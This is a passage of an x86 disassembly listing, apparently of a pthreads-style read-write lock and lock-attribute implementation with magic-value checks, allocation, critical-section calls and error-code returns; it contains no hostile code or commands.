		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510960
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
